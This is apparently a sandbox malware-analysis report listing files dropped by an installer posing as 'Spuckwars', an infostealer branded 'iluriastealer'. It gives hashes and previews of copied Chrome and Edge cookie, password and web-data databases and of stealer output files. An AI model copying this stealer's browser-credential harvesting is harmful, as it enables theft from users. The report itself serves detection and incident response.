                                                                                                                  SHA1:CB0F1F87EC0455EC349AAA950C600475AC7B7B6B
                                                                                                                  SHA-256:7852FCE59C67DDF1D6B8B997EAA1ADFAC004A9F3A91C37295DE9223674011FBA
                                                                                                                  SHA-512:599E93D25B174524495ED29653052B3590133096404873318F05FD68F4C9A5C9A3B30574551141FBB73D7329D6BE342699A17F3AE84554BAB784776DFDA2D5F8
                                                                                                                  Malicious:false
                                                                                                                  Preview:EERF

                                                                                                                  C:\Users\user\AppData\Local\D3DSCache\becdc9f3c6abc6d1\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  File Type:Matlab v4 mat-file (little endian) (, numeric, rows 0, columns 16, imaginary
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):65536
                                                                                                                  Entropy (8bit):0.031661751631861815
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6:89q0XXUEZ+lX1aVMPB9pA7WdAYu6tb2Hrn:16Q1eMPVA7Wd/2L
                                                                                                                  MD5:36C8EC87D9FE07567AAFE4D0D5E5618F
                                                                                                                  SHA1:D033D5A5DD746FEBCBFFD74B8ADFA8202C367C67
                                                                                                                  SHA-256:49B67D4E572F1B7C8FF99CC92291AB06DA212359BC73DF66A815BEDD072F388C
                                                                                                                  SHA-512:C5DF00EFC4DEA4084EE33CC5E8924A4BF8607D4C3D137B184833655A294E0F7639DD6FC900D09BB45E7614751F76B2A44B84E2EEA162C8A45A6F9E5D342AE88E
                                                                                                                  Malicious:false
                                                                                                                  Preview:....................(....x:no.&A.e.u~+..C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.2.e.j.j.i.1.1.5.J.y.J.w.o.n.C.M.e.C.4.t.6.j.N.h.r.8.O.\.s.p.u.c.k.w.a.r.s...e.x.e.................................(...p.DJ!.IL.....Zm.F............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\ILURIACookies

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):20480
                                                                                                                  Entropy (8bit):0.8508558324143882
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
                                                                                                                  MD5:933D6D14518371B212F36C3835794D75
                                                                                                                  SHA1:92D056D912B3C0260D379330D3CC0359B57A322B
                                                                                                                  SHA-256:55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
                                                                                                                  SHA-512:EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
                                                                                                                  Malicious:true
                                                                                                                  Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\passwords.db

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):40960
                                                                                                                  Entropy (8bit):0.8553638852307782
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                  MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                  SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                  SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                  SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                  Malicious:true
                                                                                                                  Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\webdata.db

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):106496
                                                                                                                  Entropy (8bit):1.136471148832945
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
                                                                                                                  MD5:37B1FC046E4B29468721F797A2BB968D
                                                                                                                  SHA1:50055EF1C50E4C1A7CCF7D00620E95128E4C448B
                                                                                                                  SHA-256:7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
                                                                                                                  SHA-512:1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
                                                                                                                  Malicious:true
                                                                                                                  Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ILURIACookies

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):20480
                                                                                                                  Entropy (8bit):0.6732424250451717
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                                                                  MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                                                                  SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                                                                  SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                                                                  SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                                                                  Malicious:false
                                                                                                                  Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\passwords.db

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):51200
                                                                                                                  Entropy (8bit):0.8745947603342119
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
                                                                                                                  MD5:378391FDB591852E472D99DC4BF837DA
                                                                                                                  SHA1:10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
                                                                                                                  SHA-256:513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
                                                                                                                  SHA-512:F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
                                                                                                                  Malicious:false
                                                                                                                  Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\webdata.db

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):196608
                                                                                                                  Entropy (8bit):1.1239949490932863
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
                                                                                                                  MD5:271D5F995996735B01672CF227C81C17
                                                                                                                  SHA1:7AEAACD66A59314D1CBF4016038D3A0A956BAF33
                                                                                                                  SHA-256:9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
                                                                                                                  SHA-512:62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
                                                                                                                  Malicious:false
                                                                                                                  Preview:SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                  Download File
                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):1148
                                                                                                                  Entropy (8bit):5.321972220235149
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:24:34l1SKco4KmZjKbm51s4RPT6moUe7u1o+m9qr9t7J0gt/NKIl9r8Hq:ol1SU4xymI4RfoUeCa+m9qr9tK8NDd
                                                                                                                  MD5:221856DA47C54F6C628B6AF3FD54240F
                                                                                                                  SHA1:93298F5F6119F79FE78BA78F43C6AF34B065F11F
                                                                                                                  SHA-256:4F44EF640AFDB35DB4DA738D29F3D6ED460E19BC77D13BB59CF089628E5074DC
                                                                                                                  SHA-512:A04AA4D81C9C2C023902BB375B479BE509A2BE22DA2E4DEAF9A3C6D9C664503F9C2B37BAB05F6848BF310E5016EA6EB415A8AD2749E4012B0A67967675AAF9EF
                                                                                                                  Malicious:false
                                                                                                                  Preview:@...e.................................8.........................8...................=.@G..?...o.........System.Security.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...|...........System.Configuration4.................%...K... ...........System.Xml..L.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.H................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...D.......

                                                                                                                  C:\Users\user\AppData\Local\Temp\0b804954-c12d-4b4a-b2c0-33a436a4bcce.tmp.node

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):140288
                                                                                                                  Entropy (8bit):6.055411992765344
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3072:94PTD6FEzMju6bzJKjpEPeTOKvJhEnww+YbRYvPuq:94jQju6b9KilKvJurR8W
                                                                                                                  MD5:04BFBFEC8DB966420FE4C7B85EBB506A
                                                                                                                  SHA1:939BB742A354A92E1DCD3661A62D69E48030A335
                                                                                                                  SHA-256:DA2172CE055FA47D6A0EA1C90654F530ABED33F69A74D52FAB06C4C7653B48FD
                                                                                                                  SHA-512:4EA97A9A120ED5BEE8638E0A69561C2159FC3769062D7102167B0E92B4F1A5C002A761BD104282425F6CEE8D0E39DBE7E12AD4E4A38570C3F90F31B65072DD65
                                                                                                                  Malicious:false
                                                                                                                  Antivirus:
                                                                                                                  • Antivirus: ReversingLabs, Detection: 4%
                                                                                                                  • Antivirus: Virustotal, Detection: 6%, Browse
                                                                                                                  Joe Sandbox View:
                                                                                                                  • Filename: Sky-Beta.exe, Detection: malicious, Browse
                                                                                                                  • Filename: Sky-Beta.exe, Detection: malicious, Browse
                                                                                                                  • Filename: GauntletVPN1.4.0.exe, Detection: malicious, Browse
                                                                                                                  • Filename: GauntletVPN1.4.0.exe, Detection: malicious, Browse
                                                                                                                  • Filename: Sky-Beta-Setup.exe, Detection: malicious, Browse
                                                                                                                  • Filename: Sky-Beta-Setup.exe, Detection: malicious, Browse
                                                                                                                  • Filename: ArenaWarSetup.exe, Detection: malicious, Browse
                                                                                                                  • Filename: Hellevator.exe, Detection: malicious, Browse
                                                                                                                  • Filename: Hellevator.exe, Detection: malicious, Browse
                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L..............C.......C.....C................................"...C...............................................Rich............................PE..d....-!e.........." ...#.>..........XG....................................................`.............................................X.......<....`.......0..$............p..........p...............................@............P..........@....................text...`=.......>.................. ..`.rdata.......P.......B..............@..@.data...............................@....pdata..$....0......................@..@_RDATA..\....P......................@..@.rsrc........`......................@..@.reloc.......p......................@..B................................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Temp\28ab86ab-db2b-4366-822d-9ffba643684e.tmp.node

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):1851904
                                                                                                                  Entropy (8bit):6.5568028509093335
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:49152:B+m+ocH2xfpTOi8stmFlZwwpx8AzdWgl+06OHULH5dsGfl:ihCTOi8sQrZwwpxTbG9
                                                                                                                  MD5:3072B68E3C226AFF39E6782D025F25A8
                                                                                                                  SHA1:CF559196D74FA490AC8CE192DB222C9F5C5A006A
                                                                                                                  SHA-256:7FB52B781709B065C240B6B81394BE6E72E53FE11D7C8E0F7B49DD417EB78A01
                                                                                                                  SHA-512:61EBC72C20195E99244D95AF1AB44FA06201A1AEE2B5DA04490FDC4312E8324A40B0E15A7B42FAB5179753D767C1D08AE1A7A56AC71A6E100E63F83DB849EE61
                                                                                                                  Malicious:false
                                                                                                                  Antivirus:
                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                  • Antivirus: Virustotal, Detection: 2%, Browse
                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........bN... ... ... .Bs#... .Bs%.5. .Bs$... ...$... ...#... ...%... .Bs!... ...!.p. .`.)... .`.... .`."... .Rich.. .........................PE..d...tn.d.........." ...".@...........}....................................................`.................................................P...(............p..|....................~..p............................$..@............P..........@....................text...@>.......@.................. ..`.rdata......P.......D..............@..@.data....c.......N..................@....pdata..|....p.......4..............@..@_RDATA..\....p.......(..............@..@.rsrc................*..............@..@.reloc...............,..............@..B................................................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\Autofills.txt

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  File Type:ASCII text
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):64
                                                                                                                  Entropy (8bit):4.241479102437745
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3:yRLIiAEly+EKcJW5KeBF3R3AV:ytIiHDEKcY5JFh3AV
                                                                                                                  MD5:7AEB90B22A1FF69A056EB674A6D3C5A1
                                                                                                                  SHA1:98F4FB956237543A244231002CF409DB7A4E9BBD
                                                                                                                  SHA-256:858E6BEBC85CE477A557C781D066F584950EADAB817F6A4ADF28A7C2CB6CCEE4
                                                                                                                  SHA-512:98AC6D2E6FA531D5767F2E89C6971F42034AA4F3AB4A8C5A7462EDB31F65519607DB9C12AE5CF36751F9B117270AEDE0D8C25799C9FC6FB7715E9ED6413253C3
                                                                                                                  Malicious:false
                                                                                                                  Preview:<= t.me/iluriastealer =>..No autofills found for Google Default.

                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\Cards.txt

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  File Type:ASCII text
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):48
                                                                                                                  Entropy (8bit):4.256328385912462
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3:yRLIiAElScWWSKXB5LQ:ytIiHBSKXvLQ
                                                                                                                  MD5:3B04E9AD44FAF51C9957A7D14E5DA3F3
                                                                                                                  SHA1:BCD66B8946121C8D30274D2BB69716E26D3627EE
                                                                                                                  SHA-256:C7D3D04D8BBE3DFF3A81E27A712D900902088BEB696675170F700F14FED352F1
                                                                                                                  SHA-512:B48FBCD280F9B41EC886AAB96684434BCA61AAAE1680936F2EA3B1CD084309FB6EE648790823BD5D93B4C9819CEC4260ADCEF8C647ABBA1A6CB8EC34F311CC77
                                                                                                                  Malicious:false
                                                                                                                  Preview:<= t.me/iluriastealer =>..no password found for

                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\ILURIASTEALER\cookies.zip

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):353
                                                                                                                  Entropy (8bit):6.624418736494426
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6:5jml8ll0sthObrhNXBFAk79P2/mwdcACj76cM5iBDNhvZqAgNro5jEl8ll0stotG:5jrlxtobNOyl2tuRj76riBNhvZPgKLl/
                                                                                                                  MD5:B448DC712760BC5FB1051BDE30B34025
                                                                                                                  SHA1:E9B258D136F2D0084F085B7530520F35B3E9A3EE
                                                                                                                  SHA-256:45D7B3DFE31882A946682755601651D17BE770F4CCCB3DB47C5CDE43290F6AB4
                                                                                                                  SHA-512:C73C88A0BD9A34D1C3F675A759465DF8C80448C454CCF50D899B2A2E8965C14326FE43C7E37B14011F78F2F60CB78A99CCA079208ECD21260C3235AC55F099F1
                                                                                                                  Malicious:false
                                                                                                                  Preview:PK.........D.X..p............Google_Default.txt..I.C@...u..t.Y..1..WT.6.*B.6.n.W.......?:..3..v..p.(u.....I...88.E.>....TI.....A.]\L.)..`o.%c..[zw.=..%_{._C.....2.8u}B2t..e'.3..I.q}F..?.."..N.b..X......27..5VZ}?....n...~..W..*.U...q.8..6.......M.D(J..9.pP=..PK...........D.X..p..........................Google_Default.txtPK..........@.........

                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\LICENSE.electron.txt

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:ASCII text
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):1096
                                                                                                                  Entropy (8bit):5.13006727705212
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
                                                                                                                  MD5:4D42118D35941E0F664DDDBD83F633C5
                                                                                                                  SHA1:2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
                                                                                                                  SHA-256:5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
                                                                                                                  SHA-512:3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
                                                                                                                  Malicious:false
                                                                                                                  Preview:Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN

                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\LICENSES.chromium.html

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:HTML document, ASCII text
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):6766160
                                                                                                                  Entropy (8bit):4.735324161006094
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:24576:d7rs5kjWSnB3lWNeUmf0f6W6M6q6A6r/HXpErpem:rovj
                                                                                                                  MD5:180F8ACC70405077BADC751453D13625
                                                                                                                  SHA1:35DC54ACAD60A98AEEC47C7ADE3E6A8C81F06883
                                                                                                                  SHA-256:0BFA9A636E722107B6192FF35C365D963A54E1DE8A09C8157680E8D0FBBFBA1C
                                                                                                                  SHA-512:40D3358B35EB0445127C70DEB0CB87EC1313ECA285307CDA168605A4FD3D558B4BE9EB24A59568ECA9EE1F761E578C39B2DEF63AD48E40D31958DB82F128E0EC
                                                                                                                  Malicious:false
                                                                                                                  Preview: Generated by licenses.py; do not edit. --><!doctype html>.<html>.<head>.<meta charset="utf-8">.<meta name="viewport" content="width=device-width">.<meta name="color-scheme" content="light dark">.<title>Credits</title>.<link rel="stylesheet" href="chrome://resources/css/text_defaults.css">.<link rel="stylesheet" href="chrome://credits/credits.css">.</head>.<body>.<span class="page-title" style="float:left;">Credits</span>.<a id="print-link" href="#" style="float:right;" hidden>Print</a>.<div style="clear:both; overflow:auto;"> Chromium <3s the following projects -->.<div class="product">.<span class="title">2-dim General Purpose FFT (Fast Fourier/Cosine/Sine Transform) Package</span>.<span class="homepage"><a href="http://www.kurims.kyoto-u.ac.jp/~ooura/fft.html">homepage</a></span>.<input type="checkbox" hidden id="0">.<label class="show" for="0" tabindex="0"></label>.<div class="licence">.<pre>Copyright(C) 1997,2001 Takuya OOURA (email: ooura@kurims.kyoto-u.ac.jp)..You may us

                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\Passwords.txt

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  File Type:ASCII text
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):48
                                                                                                                  Entropy (8bit):4.256328385912462
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3:yRLIiAElScWWSKXB5LQ:ytIiHBSKXvLQ
                                                                                                                  MD5:3B04E9AD44FAF51C9957A7D14E5DA3F3
                                                                                                                  SHA1:BCD66B8946121C8D30274D2BB69716E26D3627EE
                                                                                                                  SHA-256:C7D3D04D8BBE3DFF3A81E27A712D900902088BEB696675170F700F14FED352F1
                                                                                                                  SHA-512:B48FBCD280F9B41EC886AAB96684434BCA61AAAE1680936F2EA3B1CD084309FB6EE648790823BD5D93B4C9819CEC4260ADCEF8C647ABBA1A6CB8EC34F311CC77
                                                                                                                  Malicious:false
                                                                                                                  Preview:<= t.me/iluriastealer =>..no password found for

                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\chrome_100_percent.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):129690
                                                                                                                  Entropy (8bit):7.91868310789661
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3072:AEKzwqCT4weSxQCS/qGTL2o418Gb0+VRLf0ld0GY3cQ39Vm2I:AEKzwt4hC4/rK18Gb0OV8ld0GecQ3f2
                                                                                                                  MD5:8626E1D68E87F86C5B4DABDF66591913
                                                                                                                  SHA1:4CD7B0AC0D3F72587708064A7B0A3BECA3F7B81C
                                                                                                                  SHA-256:2CAA1DA9B6A6E87BDB673977FEE5DD771591A1B6ED5D3C5F14B024130A5D1A59
                                                                                                                  SHA-512:03BCD8562482009060F249D6A0DD7382FC94D669A2094DEC08E8D119BE51BEF2C3B7B484BB5B7F805AE98E372DAB9383A2C11A63AB0F5644146556B1BB9A4C99
                                                                                                                  Malicious:false
                                                                                                                  Preview:..............t...#.....:.I....yp....y6....y.....y#....y.....y`....ym....y.....y.....yI....y.....y'"...y.,...y.7...y;9...yv:...y(<...y.<...y.B...yfH...y.J...y.K...y.L.....M...N...aP...IS...BV...uY...]...Pa....d..&..h..'..i..(.hk..)..l..*..m..+.An..0..n..1.....2.....>.....?.....@.....A.....B.P...C.}...D.....F.9...H.r...I.I...J.....K.....L.....M.....N.6...O.....Q..%..R..(..T..1..U..4..W..>..X..H..^..M.._..N..`.mW..a.._..b..`..c.Cb..d.$d..e.Jg..g..g..i..k..j.*m..k..n..l..p..m..s..n..s..o..u..p..v..r..y..s.|{..u..~..v.<...x.....y.....~.......r..................................8................l.....;..... ......................p.....2..... .....8.....>.......................M.......................^.......................x...r.R...s.....t.....u.K...v.....w.....x.....y.+...z.~...{.....|.....}.a...~.u....._..........._...........l...................................Y.......................;.................R.................w...........6.................].................z.......

                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\chrome_200_percent.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):179971
                                                                                                                  Entropy (8bit):7.941375268079628
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3072:rDQYaEQN6AJPrSxQCS/qGTafR54x5GMR+F44ffbdZnYw9p4AbIVGYoDd+HxNK/r4:rDQYaNN68rC4/Ygx5GMRejnbdZnVE6YR
                                                                                                                  MD5:48515D600258D60019C6B9C6421F79F6
                                                                                                                  SHA1:0EF0B44641D38327A360AA6954B3B6E5AAB2AF16
                                                                                                                  SHA-256:07BEE34E189FE9A8789AED78EA59AD41414B6E611E7D74DA62F8E6CA36AF01CE
                                                                                                                  SHA-512:B7266BC8ABC55BD389F594DAC0C0641ECF07703F35D769B87E731B5FDF4353316D44F3782A4329B3F0E260DEAD6B114426DDB1B0FB8CD4A51E0B90635F1191D9
                                                                                                                  Malicious:false
                                                                                                                  Preview:..............t...#.....:.t....y.....y.....y.....y.....y.....y.....y.%...y.*...y.-...yc5...y.9...y.A...y.V...yCk...y.m...y)o...yyr...y#s...y.}...y.....y....y....y................................K....!.......&.....'....(.Q...).....*.....+.*...0....1.....2.....>.....?.f...@..$..A..&..B..)..C.1/..D.M:..F..<..H.JD..I.-K..J..P..K..V..L..\..M..^..N.Vc..O.?g..Q..p..R..t..T.g|..U.X...W.....X.H...^....._.....`.....a.....b.b...c.....d.....e.....g.....i.....j.....k.....l.....m.....n.....o.....p.....r.....s.....u.....v.....x.....y.....~........*.....+...../.....4.....6.....8....T9.....9....~;.....=....q>.....@.....A....FD.....I.....M.....U.....].....c.....i.....o....Tu.....v.....w.....x.....y.....{.....|.....}..........?.........r.....s.U...t.....u.....v....w.....x....y.*...z.....{....|.<...}.....~.............1...........L..........z.................G...........X...........f.....*..........@.....................q...........Y..........W...........;........................

